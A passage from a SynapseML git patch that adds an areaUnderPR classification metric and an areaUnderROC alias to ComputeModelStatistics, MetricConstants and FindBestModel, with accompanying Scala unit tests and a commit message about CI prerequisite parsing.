scoped prerequisite path. Align the checked-in configuration helper with the Bash parser and expand positive and negative replay coverage for spaces, tabs, and CRLF. ## Prompting Intent Resolve the two active PR #2635 review threads without weakening valid path support. Prevent whitespace-contaminated path fields from silently missing replay-path matches, while continuing to support CRLF files, leading whitespace before the prerequisite SHA, and ordinary internal spaces in repository paths. ## Linked Sources - Pull request: https://github.com/microsoft/SynapseML/pull/2635 - Python helper review: https://github.com/microsoft/SynapseML/pull/2635#discussion_r3790952073 - Bash parser review: https://github.com/microsoft/SynapseML/pull/2635#discussion_r3790952079 ## Rationale Strip only the terminal carriage return that represents a CRLF line ending before parsing scoped fields, rather than trimming the entire line and hiding final-path whitespace. Validate each extracted path against its ASCII-whitespace-trimmed form. The Python guard uses the same edge-whitespace rule, and actual-script tests cover clean CRLF, internal spaces, leading/trailing spaces, extra tab fields, and mixed multi-path cases. Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com> --------- Co-authored-by: SynapseML CI Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com> --- .pipelines/release-compat-prerequisites.txt | 5 +- .../synapse/ml/automl/EvaluationUtils.scala | 5 +- .../synapse/ml/automl/FindBestModel.scala | 3 +- .../ml/core/metrics/MetricConstants.scala | 19 +- .../ml/train/ComputeModelStatistics.scala | 132 ++++- .../ml/train/ComputeModelStatistics.txt | 9 +- .../ml/automl/VerifyEvaluationUtils.scala | 27 + .../ml/automl/VerifyFindBestModel.scala | 28 +- .../core/metrics/VerifyMetricConstants.scala | 23 +- .../train/VerifyComputeModelStatistics.scala | 184 ++++++- pipeline.yaml | 182 ++++++- tools/ci/tests/test_pipeline_yaml.py | 509 +++++++++++++++++- 12 files changed, 1052 insertions(+), 74 deletions(-) diff --git a/.pipelines/release-compat-prerequisites.txt b/.pipelines/release-compat-prerequisites.txt index a6217372408..341856e80b0 100644 --- a/.pipelines/release-compat-prerequisites.txt +++ b/.pipelines/release-compat-prerequisites.txt @@ -3,4 +3,7 @@ 04897bae9baa08f0d67855566f7bad235791d508 # PR #2612 introduces the WorkerMessage protocol used by the IPv6 endpoint parsing fix. # Remove this prerequisite once every validated release branch contains that backport. -4a52d9ae4184d3ce00394cd9cb4209c35990fc47 \ No newline at end of file +4a52d9ae4184d3ce00394cd9cb4209c35990fc47 +# PR #2507 introduced tests modified by PR #2635 but absent from Spark 4.1. +# Remove this scoped prerequisite once every validated release branch contains these tests. +6938c472175ed1592ec24e7d8c65d9174f17c4e5 core/src/test/scala/com/microsoft/azure/synapse/ml/automl/VerifyEvaluationUtils.scala core/src/test/scala/com/microsoft/azure/synapse/ml/core/metrics/VerifyMetricConstants.scala diff --git a/core/src/main/scala/com/microsoft/azure/synapse/ml/automl/EvaluationUtils.scala b/core/src/main/scala/com/microsoft/azure/synapse/ml/automl/EvaluationUtils.scala index bf60c643e93..a1c2d3a1ee0 100644 --- a/core/src/main/scala/com/microsoft/azure/synapse/ml/automl/EvaluationUtils.scala +++ b/core/src/main/scala/com/microsoft/azure/synapse/ml/automl/EvaluationUtils.scala @@ -56,7 +56,10 @@ object EvaluationUtils { case _ => throw new Exception("Metric is not supported for regressors") } case SchemaConstants.ClassificationKind => evaluationMetric match { - case MetricConstants.AucSparkMetric => (MetricConstants.AucColumnName, chooseHighest) + case MetricConstants.AucSparkMetric | MetricConstants.AreaUnderROCMetric => + (MetricConstants.AucColumnName, chooseHighest) + case MetricConstants.AreaUnderPRMetric => + (MetricConstants.AreaUnderPRColumnName, chooseHighest) case MetricConstants.PrecisionSparkMetric => (MetricConstants.PrecisionColumnName, chooseHighest) case MetricConstants.RecallSparkMetric => (MetricConstants.RecallColumnName, chooseHighest) case MetricConstants.AccuracySparkMetric => (MetricConstants.AccuracyColumnName, chooseHighest) diff --git a/core/src/main/scala/com/microsoft/azure/synapse/ml/automl/FindBestModel.scala b/core/src/main/scala/com/microsoft/azure/synapse/ml/automl/FindBestModel.scala index e43bf427f2a..ce2a00b6e75 100644 --- a/core/src/main/scala/com/microsoft/azure/synapse/ml/automl/FindBestModel.scala +++ b/core/src/main/scala/com/microsoft/azure/synapse/ml/automl/FindBestModel.scala @@ -29,8 +29,9 @@ trait FindBestModelParams extends Wrappable with ComplexParamsWritable with HasE * The metrics that can be chosen are: * * For Binary Classifiers: - * - AreaUnderROC + * - areaUnderROC (reported in the AUC column) * - AUC + * - areaUnderPR * - accuracy * - precision * - recall diff --git a/core/src/main/scala/com/microsoft/azure/synapse/ml/core/metrics/MetricConstants.scala b/core/src/main/scala/com/microsoft/azure/synapse/ml/core/metrics/MetricConstants.scala index 8047f535572..278578ec38a 100644 --- a/core/src/main/scala/com/microsoft/azure/synapse/ml/core/metrics/MetricConstants.scala +++ b/core/src/main/scala/com/microsoft/azure/synapse/ml/core/metrics/MetricConstants.scala @@ -17,14 +17,15 @@ object MetricConstants { // Binary Classification metrics val AreaUnderROCMetric = "areaUnderROC" + val AreaUnderPRMetric = "areaUnderPR" val AucSparkMetric = "AUC" val AccuracySparkMetric = "accuracy" val PrecisionSparkMetric = "precision" val RecallSparkMetric = "recall" val ClassificationMetricsName = "classification" - val ClassificationMetrics: Set[String] = Set(AreaUnderROCMetric, AucSparkMetric, AccuracySparkMetric, - PrecisionSparkMetric, RecallSparkMetric, ClassificationMetricsName) + val ClassificationMetrics: Set[String] = Set(AreaUnderROCMetric, AreaUnderPRMetric, AucSparkMetric, + AccuracySparkMetric, PrecisionSparkMetric, RecallSparkMetric, ClassificationMetricsName) val AllSparkMetrics = "all" @@ -35,7 +36,8 @@ object MetricConstants { val MaeColumnName = "mean_absolute_error" // Binary Classification column names - val AucColumnName = "AUC" + val AucColumnName = "AUC" + val AreaUnderPRColumnName = "areaUnderPR" // Binary and Multiclass (micro-averaged) column names val PrecisionColumnName = "precision" @@ -50,7 +52,10 @@ object MetricConstants { val ConfusionMatrix = "confusion_matrix" // Metric to column name - val MetricToColumnName: Map[String, String] = Map(AccuracySparkMetric -> AccuracyColumnName, + val MetricToColumnName: Map[String, String] = Map(AreaUnderROCMetric -> AucColumnName, + AucSparkMetric -> AucColumnName, + AreaUnderPRMetric -> AreaUnderPRColumnName, + AccuracySparkMetric -> AccuracyColumnName, PrecisionSparkMetric -> PrecisionColumnName, RecallSparkMetric -> RecallColumnName, MseSparkMetric -> MseColumnName, @@ -58,7 +63,9 @@ object MetricConstants { R2SparkMetric -> R2ColumnName, MaeSparkMetric -> MaeColumnName) + // Shared by binary and multiclass metrics; preserved for the legacy all/classification schema contract. val ClassificationColumns = List(AccuracyColumnName, PrecisionColumnName, RecallColumnName) + val BinaryClassificationColumns = ClassificationColumns ++ List(AucColumnName, AreaUnderPRColumnName) val RegressionColumns = List(MseColumnName, RmseColumnName, R2ColumnName, MaeColumnName) @@ -92,6 +99,8 @@ object MetricConstants { MetricConstants.AccuracySparkMetric, MetricConstants.PrecisionSparkMetric, MetricConstants.RecallSparkMetric, - MetricConstants.AucSparkMetric) + MetricConstants.AreaUnderROCMetric, + MetricConstants.AucSparkMetric, + MetricConstants.AreaUnderPRMetric) } diff --git a/core/src/main/scala/com/microsoft/azure/synapse/ml/train/ComputeModelStatistics.scala b/core/src/main/scala/com/microsoft/azure/synapse/ml/train/ComputeModelStatistics.scala index fa609a6e51d..faf07927c66 100644 --- a/core/src/main/scala/com/microsoft/azure/synapse/ml/train/ComputeModelStatistics.scala +++ b/core/src/main/scala/com/microsoft/azure/synapse/ml/train/ComputeModelStatistics.scala @@ -30,8 +30,9 @@ trait ComputeModelStatisticsParams extends Wrappable with DefaultParamsWritable * The metrics that can be chosen are: * * For binary classification: - * - areaUnderROC + * - areaUnderROC (reported in the AUC column) * - AUC + * - areaUnderPR * - accuracy * - precision * - recall @@ -129,16 +130,24 @@ class ComputeModelStatistics(override val uid: String) extends Transformer simpleMetric == MetricConstants.PrecisionSparkMetric || simpleMetric == MetricConstants.RecallSparkMetric => resultDF = addSimpleMetric(simpleMetric, predictionAndLabels, resultDF) - case MetricConstants.AucSparkMetric => + case MetricConstants.AucSparkMetric | MetricConstants.AreaUnderROCMetric => val numLevels = if (levelsExist) levels.get.length else confusionMatrix.numRows if (numLevels <= 2) { - // Add the AUC - val auc: Double = getAUC(modelName, dataset, labelColumnName, scoresAndLabels) + val auc = getAUC(modelName, dataset, labelColumnName, scoresAndLabels) resultDF = resultDF.withColumn(MetricConstants.AucColumnName, lit(auc)) } else { throw new Exception("Error: AUC is not available for multiclass case") } + case MetricConstants.AreaUnderPRMetric => + val numLevels = if (levelsExist) levels.get.length + else confusionMatrix.numRows + if (numLevels <= 2) { + val areaUnderPR = getAreaUnderPR(scoresAndLabels) + resultDF = resultDF.withColumn(MetricConstants.AreaUnderPRColumnName, lit(areaUnderPR)) + } else { + throw new Exception("Error: areaUnderPR is not available for multiclass case") + } case default => throw new Exception(s"Error: $default is not a classification metric") } @@ -220,15 +229,15 @@ class ComputeModelStatistics(override val uid: String) extends Transformer val (accuracy: Double, precision: Double, recall: Double) = getBinaryAccuracyPrecisionRecall(confusionMatrix) metricsLogger.logClassificationMetrics(accuracy, precision, recall) - // Add the AUC - val auc: Double = getAUC(modelName, dataset, labelColumnName, scoresAndLabels) - metricsLogger.logAUC(auc) + val (auc, areaUnderPR) = + getBinaryMetrics(modelName, dataset, labelColumnName, scoresAndLabels) // Add the metrics to the DF resultDF .withColumn(MetricConstants.AccuracyColumnName, lit(accuracy)) .withColumn(MetricConstants.PrecisionColumnName, lit(precision)) .withColumn(MetricConstants.RecallColumnName, lit(recall)) .withColumn(MetricConstants.AucColumnName, lit(auc)) + .withColumn(MetricConstants.AreaUnderPRColumnName, lit(areaUnderPR)) } else { val (microAvgAccuracy: Double, microAvgPrecision: Double, @@ -381,13 +390,28 @@ class ComputeModelStatistics(override val uid: String) extends Transformer (microAvgAccuracy, microAvgPrecision, microAvgRecall, averageAccuracy, macroAveragedPrecision, macroAveragedRecall) } + private def getBinaryMetrics(modelName: String, + dataset: Dataset[_], + labelColumnName: String, + scoresAndLabels: RDD[(Double, Double)]): (Double, Double) = { + withBinaryClassificationMetrics(scoresAndLabels) { binaryMetrics => + (getAUC(modelName, dataset, labelColumnName, binaryMetrics), getAreaUnderPR(binaryMetrics)) + } + } + private def getAUC(modelName: String, - dataset: Dataset[_], - labelColumnName: String, - scoresAndLabels: RDD[(Double, Double)]): Double = { - val binaryMetrics = new BinaryClassificationMetrics(scoresAndLabels, - MetricConstants.BinningThreshold) + dataset: Dataset[_], + labelColumnName: String, + scoresAndLabels: RDD[(Double, Double)]): Double = { + withBinaryClassificationMetrics(scoresAndLabels) { binaryMetrics => + getAUC(modelName, dataset, labelColumnName, binaryMetrics) + } + } + private def getAUC(modelName: String, + dataset: Dataset[_], + labelColumnName: String, + binaryMetrics: BinaryClassificationMetrics): Double = { val spark = dataset.sparkSession import spark.implicits._ @@ -399,6 +423,28 @@ class ComputeModelStatistics(override val uid: String) extends Transformer auc } + private def getAreaUnderPR(scoresAndLabels: RDD[(Double, Double)]): Double = { + withBinaryClassificationMetrics(scoresAndLabels) { binaryMetrics => + getAreaUnderPR(binaryMetrics) + } + } + + private def getAreaUnderPR(binaryMetrics: BinaryClassificationMetrics): Double = { + val areaUnderPR = binaryMetrics.areaUnderPR() + metricsLogger.logAreaUnderPR(areaUnderPR) + areaUnderPR + } + + private def withBinaryClassificationMetrics[T](scoresAndLabels: RDD[(Double, Double)]) + (f: BinaryClassificationMetrics => T): T = { + val binaryMetrics = new BinaryClassificationMetrics(scoresAndLabels, MetricConstants.BinningThreshold) + try { + f(binaryMetrics) + } finally { + binaryMetrics.unpersist() + } + } + private def getBinaryAccuracyPrecisionRecall(confusionMatrix: Matrix): (Double, Double, Double) = { val tp: Double = confusionMatrix(1, 1) val fp: Double = confusionMatrix(0, 1) @@ -439,16 +485,20 @@ class ComputeModelStatistics(override val uid: String) extends Transformer override def copy(extra: ParamMap): Transformer = new ComputeModelStatistics() override def transformSchema(schema: StructType): StructType = { - val (_, _, scoreValueKind) = + val (_, labelColumnName, scoreValueKind) = MetricUtils.getSchemaInfo( schema, if (isDefined(labelCol)) Some(getLabelCol) else None, getEvaluationMetric) - val columns = - if (scoreValueKind == SchemaConstants.ClassificationKind) MetricConstants.ClassificationColumns - else if (scoreValueKind == SchemaConstants.RegressionKind) MetricConstants.RegressionColumns + val labelLevels = getLabelLevels(schema, labelColumnName) + val (columns, validMetrics) = + if (scoreValueKind == SchemaConstants.ClassificationKind) + (getClassificationColumns(labelLevels), MetricConstants.ClassificationMetrics) + else if (scoreValueKind == SchemaConstants.RegressionKind) + (MetricConstants.RegressionColumns, MetricConstants.RegressionMetrics) else throwOnInvalidScoringKind(scoreValueKind) - getTransformedSchema(columns, scoreValueKind) + validateBinaryOnlyMetricSchema(labelLevels, scoreValueKind) + getTransformedSchema(columns, scoreValueKind, validMetrics) } @@ -456,14 +506,50 @@ class ComputeModelStatistics(override val uid: String) extends Transformer throw new Exception(s"Error: unknown scoring kind $scoreValueKind") } - private def getTransformedSchema(columns: List[String], metricType: String) = { + private def getLabelLevels(schema: StructType, labelColumnName: String): Option[Array[_]] = { + if (schema.fieldNames.contains(labelColumnName)) CategoricalUtilities.getLevels(schema, labelColumnName) + else None + } + + private def getClassificationColumns(labelLevels: Option[Array[_]]): List[String] = { + // Keep the legacy common-metrics schema when cardinality is unknown or multiclass. + if (labelLevels.exists(_.length <= 2)) MetricConstants.BinaryClassificationColumns + else MetricConstants.ClassificationColumns + } + + private def validateBinaryOnlyMetricSchema(labelLevels: Option[Array[_]], + scoreValueKind: String): Unit = { + val isBinaryOnlyClassificationMetric = + getEvaluationMetric == MetricConstants.AucSparkMetric || + getEvaluationMetric == MetricConstants.AreaUnderROCMetric || + getEvaluationMetric == MetricConstants.AreaUnderPRMetric + // Match runtime semantics: only SynapseML categorical metadata establishes label cardinality. + if (scoreValueKind == SchemaConstants.ClassificationKind && + isBinaryOnlyClassificationMetric && + labelLevels.exists(_.length > 2)) { + throw new IllegalArgumentException(getBinaryOnlyMetricMulticlassError(getEvaluationMetric)) + } + } + + private def getBinaryOnlyMetricMulticlassError(metric: String): String = metric match { + case MetricConstants.AucSparkMetric | MetricConstants.AreaUnderROCMetric => + "Error: AUC is not available for multiclass case" + case MetricConstants.AreaUnderPRMetric => + "Error: areaUnderPR is not available for multiclass case" + case _ => + throw new IllegalArgumentException(s"Error: $metric is not a classification metric") + } + + private def getTransformedSchema(columns: List[String], + metricType: String, + validMetrics: Set[String]): StructType = { getEvaluationMetric match { case allMetrics if allMetrics == MetricConstants.AllSparkMetrics || allMetrics == MetricConstants.ClassificationMetricsName || allMetrics == MetricConstants.RegressionMetricsName => StructType(columns.map(StructField(_, DoubleType))) - case metric: String if MetricConstants.MetricToColumnName.contains(metric) && - columns.contains(MetricConstants.MetricToColumnName(metric)) => + case metric: String if validMetrics.contains(metric) && + MetricConstants.MetricToColumnName.contains(metric) => StructType(Array(StructField(MetricConstants.MetricToColumnName(metric), DoubleType))) case default => throw new Exception(s"Error: $default is not a $metricType metric") @@ -502,6 +588,12 @@ class MetricsLogger(uid: String) { logger.info(metrics) } + def logAreaUnderPR(areaUnderPR: Double): Unit = { + val metrics = MetricData.create( + Map(MetricConstants.AreaUnderPRColumnName -> areaUnderPR), "AreaUnderPR Metric", uid) + logger.info(metrics) + } + def logROC(roc: DataFrame): Unit = { val metrics = MetricData.createTable( Map(MetricConstants.TpRateROCLog -> diff --git a/core/src/main/scala/com/microsoft/azure/synapse/ml/train/ComputeModelStatistics.txt b/core/src/main/scala/com/microsoft/azure/synapse/ml/train/ComputeModelStatistics.txt index 4085e92aaef..2c4379022bf 100644 --- a/core/src/main/scala/com/microsoft/azure/synapse/ml/train/ComputeModelStatistics.txt +++ b/core/src/main/scala/com/microsoft/azure/synapse/ml/train/ComputeModelStatistics.txt @@ -5,15 +5,20 @@ The possible metrics are: Binary Classifiers: -- "AreaUnderROC" +- "areaUnderROC" (reported in the "AUC" column) - "AUC" +- "areaUnderPR" - "accuracy" +- "precision" - "recall" +- "classification" - "all" -Regression Classifiers: +Regression Models: - "mse" - "rmse" - "r2" +- "mae" +- "regression" - "all" diff --git a/core/src/test/scala/com/microsoft/azure/synapse/ml/automl/VerifyEvaluationUtils.scala b/core/src/test/scala/com/microsoft/azure/synapse/ml/automl/VerifyEvaluationUtils.scala index a8d1b96b40b..b3b76847842 100644 --- a/core/src/test/scala/com/microsoft/azure/synapse/ml/automl/VerifyEvaluationUtils.scala +++ b/core/src/test/scala/com/microsoft/azure/synapse/ml/automl/VerifyEvaluationUtils.scala @@ -78,6 +78,24 @@ class VerifyEvaluationUtils extends TestBase { assert(ordering.compare(2.0, 1.0) > 0) } + test("getMetricWithOperator treats areaUnderROC as an AUC alias") { + val (metricName, ordering) = EvaluationUtils.getMetricWithOperator( + SchemaConstants.ClassificationKind, + MetricConstants.AreaUnderROCMetric + ) + assert(metricName === MetricConstants.AucColumnName) + assert(ordering.compare(2.0, 1.0) > 0) + } + + test("getMetricWithOperator returns correct metric for classification areaUnderPR") { + val (metricName, ordering) = EvaluationUtils.getMetricWithOperator( + SchemaConstants.ClassificationKind, + MetricConstants.AreaUnderPRMetric + ) + assert(metricName === MetricConstants.AreaUnderPRColumnName) + assert(ordering.compare(2.0, 1.0) > 0) + } + test("getMetricWithOperator returns correct metric for classification Precision") { val (metricName, ordering) = EvaluationUtils.getMetricWithOperator( SchemaConstants.ClassificationKind, @@ -136,6 +154,15 @@ class VerifyEvaluationUtils extends TestBase { } } + test("getMetricWithOperator rejects areaUnderPR for regressors") { + assertThrows[Exception] { + EvaluationUtils.getMetricWithOperator( + SchemaConstants.RegressionKind, + MetricConstants.AreaUnderPRMetric + ) + } + } + test("getMetricWithOperator throws for unsupported classification metric") { assertThrows[Exception] { EvaluationUtils.getMetricWithOperator( diff --git a/core/src/test/scala/com/microsoft/azure/synapse/ml/automl/VerifyFindBestModel.scala b/core/src/test/scala/com/microsoft/azure/synapse/ml/automl/VerifyFindBestModel.scala index e080537bde0..784f39e6b8e 100644 --- a/core/src/test/scala/com/microsoft/azure/synapse/ml/automl/VerifyFindBestModel.scala +++ b/core/src/test/scala/com/microsoft/azure/synapse/ml/automl/VerifyFindBestModel.scala @@ -46,7 +46,7 @@ class VerifyFindBestModel extends EstimatorFuzzing[FindBestModel]{ bestModel.transform(dataset) } - test("Verify the best model can be saved") { + test("Verify the best model can be saved with AUC") { val dataset: DataFrame = createMockDataset val logisticRegressor = createLR.setLabelCol(mockLabelColumn) val model = logisticRegressor.fit(dataset) @@ -61,6 +61,32 @@ class VerifyFindBestModel extends EstimatorFuzzing[FindBestModel]{ assert(myModelFile.exists()) } + test("Verify the best model can be saved with areaUnderPR") { + val dataset: DataFrame = createMockDataset + val model = createLR.setLabelCol(mockLabelColumn).fit(dataset) + val bestModel = new FindBestModel() + .setModels(Array(model.asInstanceOf[Transformer], model.asInstanceOf[Transformer])) + .setEvaluationMetric(MetricConstants.AreaUnderPRMetric) + .fit(dataset) + + val myModelFile = new File(tmpDir.toFile, "testEvalModelAreaUnderPR") + bestModel.save(myModelFile.toString) + assert(myModelFile.exists()) + } + + test("FindBestModel rejects invalid evaluation metrics") { + val dataset: DataFrame = createMockDataset + val model = createLR.setLabelCol(mockLabelColumn).fit(dataset) + val error = intercept[Exception] { + new FindBestModel() + .setModels(Array(model.asInstanceOf[Transformer])) + .setEvaluationMetric("averagePrecision") + .fit(dataset) + } + + assert(error.getMessage === "Invalid evaluation metric") + } + test("Verify the best model metrics can be retrieved and are valid") { val dataset: DataFrame = createMockDataset val logisticRegressor = createLR.setLabelCol(mockLabelColumn) diff --git a/core/src/test/scala/com/microsoft/azure/synapse/ml/core/metrics/VerifyMetricConstants.scala b/core/src/test/scala/com/microsoft/azure/synapse/ml/core/metrics/VerifyMetricConstants.scala index bc484328bcb..e2541c95344 100644 --- a/core/src/test/scala/com/microsoft/azure/synapse/ml/core/metrics/VerifyMetricConstants.scala +++ b/core/src/test/scala/com/microsoft/azure/synapse/ml/core/metrics/VerifyMetricConstants.scala @@ -28,6 +28,7 @@ class VerifyMetricConstants extends TestBase { // Classification metrics tests test("classification metric constants have expected values") { assert(MetricConstants.AreaUnderROCMetric === "areaUnderROC") + assert(MetricConstants.AreaUnderPRMetric === "areaUnderPR") assert(MetricConstants.AucSparkMetric === "AUC") assert(MetricConstants.AccuracySparkMetric === "accuracy") assert(MetricConstants.PrecisionSparkMetric === "precision") @@ -37,12 +38,13 @@ class VerifyMetricConstants extends TestBase { test("ClassificationMetrics set contains all classification metrics") { assert(MetricConstants.ClassificationMetrics.contains(MetricConstants.AreaUnderROCMetric)) + assert(MetricConstants.ClassificationMetrics.contains(MetricConstants.AreaUnderPRMetric)) assert(MetricConstants.ClassificationMetrics.contains(MetricConstants.AucSparkMetric)) assert(MetricConstants.ClassificationMetrics.contains(MetricConstants.AccuracySparkMetric)) assert(MetricConstants.ClassificationMetrics.contains(MetricConstants.PrecisionSparkMetric)) assert(MetricConstants.ClassificationMetrics.contains(MetricConstants.RecallSparkMetric)) assert(MetricConstants.ClassificationMetrics.contains(MetricConstants.ClassificationMetricsName)) - assert(MetricConstants.ClassificationMetrics.size === 6) + assert(MetricConstants.ClassificationMetrics.size === 7) } test("AllSparkMetrics constant") { @@ -59,6 +61,7 @@ class VerifyMetricConstants extends TestBase { test("classification column names have expected values") { assert(MetricConstants.AucColumnName === "AUC") + assert(MetricConstants.AreaUnderPRColumnName === "areaUnderPR") assert(MetricConstants.PrecisionColumnName === "precision") assert(MetricConstants.RecallColumnName === "recall") assert(MetricConstants.AccuracyColumnName === "accuracy") @@ -73,6 +76,12 @@ class VerifyMetricConstants extends TestBase { // MetricToColumnName mapping tests test("MetricToColumnName contains correct mappings") { + assert(MetricConstants.MetricToColumnName(MetricConstants.AreaUnderROCMetric) === + MetricConstants.AucColumnName) + assert(MetricConstants.MetricToColumnName(MetricConstants.AucSparkMetric) === + MetricConstants.AucColumnName) + assert(MetricConstants.MetricToColumnName(MetricConstants.AreaUnderPRMetric) === + MetricConstants.AreaUnderPRColumnName) assert(MetricConstants.MetricToColumnName(MetricConstants.AccuracySparkMetric) === MetricConstants.AccuracyColumnName) assert(MetricConstants.MetricToColumnName(MetricConstants.PrecisionSparkMetric) === @@ -90,13 +99,19 @@ class VerifyMetricConstants extends TestBase { } // Column lists tests - test("ClassificationColumns contains expected columns") { + test("ClassificationColumns preserves the legacy common schema") { assert(MetricConstants.ClassificationColumns === List( MetricConstants.AccuracyColumnName, MetricConstants.PrecisionColumnName, MetricConstants.RecallColumnName)) } + test("BinaryClassificationColumns contains binary-only metrics after common metrics") { + assert(MetricConstants.BinaryClassificationColumns === MetricConstants.ClassificationColumns ++ List( + MetricConstants.AucColumnName, + MetricConstants.AreaUnderPRColumnName)) + } + test("RegressionColumns contains expected columns") { assert(MetricConstants.RegressionColumns === List( MetricConstants.MseColumnName, @@ -149,7 +164,9 @@ class VerifyMetricConstants extends TestBase { assert(MetricConstants.FindBestModelMetrics.contains(MetricConstants.AccuracySparkMetric)) assert(MetricConstants.FindBestModelMetrics.contains(MetricConstants.PrecisionSparkMetric)) assert(MetricConstants.FindBestModelMetrics.contains(MetricConstants.RecallSparkMetric)) + assert(MetricConstants.FindBestModelMetrics.contains(MetricConstants.AreaUnderROCMetric)) assert(MetricConstants.FindBestModelMetrics.contains(MetricConstants.AucSparkMetric)) - assert(MetricConstants.FindBestModelMetrics.size === 8) + assert(MetricConstants.FindBestModelMetrics.contains(MetricConstants.AreaUnderPRMetric)) + assert(MetricConstants.FindBestModelMetrics.size === 10) } } diff --git a/core/src/test/scala/com/microsoft/azure/synapse/ml/train/VerifyComputeModelStatistics.scala b/core/src/test/scala/com/microsoft/azure/synapse/ml/train/VerifyComputeModelStatistics.scala index 2dcab90bece..d270253b3a0 100644 --- a/core/src/test/scala/com/microsoft/azure/synapse/ml/train/VerifyComputeModelStatistics.scala +++ b/core/src/test/scala/com/microsoft/azure/synapse/ml/train/VerifyComputeModelStatistics.scala @@ -14,7 +14,7 @@ import com.microsoft.azure.synapse.ml.train.TrainRegressorTestUtilities._ import org.apache.spark.ml.classification.LogisticRegression import org.apache.spark.ml.evaluation.BinaryClassificationEvaluator import org.apache.spark.ml.feature.FastVectorAssembler -import org.apache.spark.ml.linalg.Vector +import org.apache.spark.ml.linalg.{Vector, Vectors} import org.apache.spark.ml.regression.GeneralizedLinearRegression import org.apache.spark.ml.util.MLReadable import org.apache.spark.sql._ @@ -41,6 +41,185 @@ class VerifyComputeModelStatistics extends TransformerFuzzing[ComputeModelStatis (1, 4, 0.12, 0.34, 3) )).toDF(labelColumn, "col1", "col2", "col3", "col4") + private lazy val rankedBinaryDataset: DataFrame = { + import spark.implicits._ + val data = (1 to 100).map { rank => + val label = if (rank == 1 || rank == 11) 1.0 else 0.0 + val prediction = if (rank <= 10) 1.0 else 0.0 + val rawPrediction = Vectors.dense(0.0, (101 - rank).toDouble) + (label, prediction, rawPrediction) + }.toDF("label", SchemaConstants.SparkPredictionColumn, SchemaConstants.SparkRawPredictionColumn) + val modelName = SchemaConstants.ScoreModelPrefix + "_ranked binary" + val withLabel = SparkSchema.setLabelColumnName( + data, modelName, "label", SchemaConstants.ClassificationKind) + val withPrediction = SparkSchema.updateColumnMetadata( + withLabel, modelName, SchemaConstants.SparkPredictionColumn, SchemaConstants.ClassificationKind) + SparkSchema.updateColumnMetadata( + withPrediction, modelName, SchemaConstants.SparkRawPredictionColumn, SchemaConstants.ClassificationKind) + } + + private def rankedBinaryStatistics(metric: String): ComputeModelStatistics = + new ComputeModelStatistics() + .setLabelCol("label") + .setScoredLabelsCol(SchemaConstants.SparkPredictionColumn) + .setScoresCol(SchemaConstants.SparkRawPredictionColumn) + .setEvaluationMetric(metric) + + private def assertBinaryOnlyMetricsRejected(schema: StructType): Unit = { + Seq( + MetricConstants.AucSparkMetric -> "Error: AUC is not available for multiclass case", + MetricConstants.AreaUnderROCMetric -> "Error: AUC is not available for multiclass case", + MetricConstants.AreaUnderPRMetric -> "Error: areaUnderPR is not available for multiclass case") + .foreach { case (metric, expectedMessage) => + val error = intercept[IllegalArgumentException] { + new ComputeModelStatistics() + .setLabelCol("label") + .setEvaluationMetric(metric) + .transformSchema(schema) + } + + assert(error.getMessage === expectedMessage) + } + } + + test("areaUnderPR uses Spark trapezoidal precision-recall AUC") { + val evaluator = rankedBinaryStatistics(MetricConstants.AreaUnderPRMetric) + val result = evaluator.transform(rankedBinaryDataset) + val areaUnderPR = result.first().getAs[Double](MetricConstants.AreaUnderPRColumnName) + + assert(result.columns.last === MetricConstants.AreaUnderPRColumnName) + assert(result.columns.contains(MetricConstants.AreaUnderPRColumnName)) + assert(evaluator.transformSchema(rankedBinaryDataset.schema) === + StructType(Array(StructField(MetricConstants.AreaUnderPRColumnName, DoubleType)))) + assert(math.abs(areaUnderPR - 251.0 / 440.0) < 1e-8) + assert(math.abs(areaUnderPR - 13.0 / 22.0) > 0.01) + } + + test("areaUnderROC remains an AUC output alias") { + val aucEvaluator = rankedBinaryStatistics(MetricConstants.AucSparkMetric) + val auc = aucEvaluator + .transform(rankedBinaryDataset) + .first() + .getAs[Double](MetricConstants.AucColumnName) + val rocEvaluator = rankedBinaryStatistics(MetricConstants.AreaUnderROCMetric) + val areaUnderROCAlias = rocEvaluator + .transform(rankedBinaryDataset) + .first() + .getAs[Double](MetricConstants.AucColumnName) + val aucSchema = StructType(Array(StructField(MetricConstants.AucColumnName, DoubleType))) + + assert(aucEvaluator.transformSchema(rankedBinaryDataset.schema) === aucSchema) + assert(rocEvaluator.transformSchema(rankedBinaryDataset.schema) === aucSchema) + assert(math.abs(auc - 187.0 / 196.0) < 1e-8) + assert(math.abs(areaUnderROCAlias - 187.0 / 196.0) < 1e-8) + } + + test("all and classification metrics append binary metrics in runtime output order") { + val binaryDataset = CategoricalUtilities.setLevels( + rankedBinaryDataset, + "label", + Array(0.0, 1.0)) + val expectedColumns = List(MetricConstants.EvaluationType, MetricConstants.ConfusionMatrix) ++ + MetricConstants.BinaryClassificationColumns + Seq(MetricConstants.AllSparkMetrics, MetricConstants.ClassificationMetricsName).foreach { metric => + val evaluator = rankedBinaryStatistics(metric) + val result = evaluator.transform(binaryDataset) + val row = result.first() + val transformedSchema = evaluator.transformSchema(binaryDataset.schema) + + assert(result.columns.toList === expectedColumns) + assert(transformedSchema === + StructType(MetricConstants.BinaryClassificationColumns.map(StructField(_, DoubleType)))) + assert(math.abs(row.getAs[Double](MetricConstants.AucColumnName) - 187.0 / 196.0) < 1e-8) + assert(math.abs(row.getAs[Double](MetricConstants.AreaUnderPRColumnName) - 251.0 / 440.0) < 1e-8) + } + } + + test("multiclass classification schema retains the legacy common metrics") { + val multiclassData = spark.createDataFrame(Seq( + (0.0, 0.0), + (1.0, 1.0), + (2.0, 2.0))).toDF("label", "prediction") + val modelName = SchemaConstants.ScoreModelPrefix + "_multiclass" + val withLabel = SparkSchema.setLabelColumnName( + multiclassData, modelName, "label", SchemaConstants.ClassificationKind) + val withPrediction = SparkSchema.updateColumnMetadata( + withLabel, modelName, "prediction", SchemaConstants.ClassificationKind) + val multiclass = CategoricalUtilities.setLevels( + withPrediction, + "label", + Array(0.0, 1.0, 2.0)) + val expectedRuntimeColumns = + List(MetricConstants.EvaluationType, MetricConstants.ConfusionMatrix) ++ + MetricConstants.ClassificationColumns ++ + List(MetricConstants.AverageAccuracy, + MetricConstants.MacroAveragedPrecision, + MetricConstants.MacroAveragedRecall) + + Seq(MetricConstants.AllSparkMetrics, MetricConstants.ClassificationMetricsName).foreach { metric => + val evaluator = new ComputeModelStatistics().setEvaluationMetric(metric) + val schema = evaluator.transformSchema(multiclass.schema) + val result = evaluator.transform(multiclass) + + 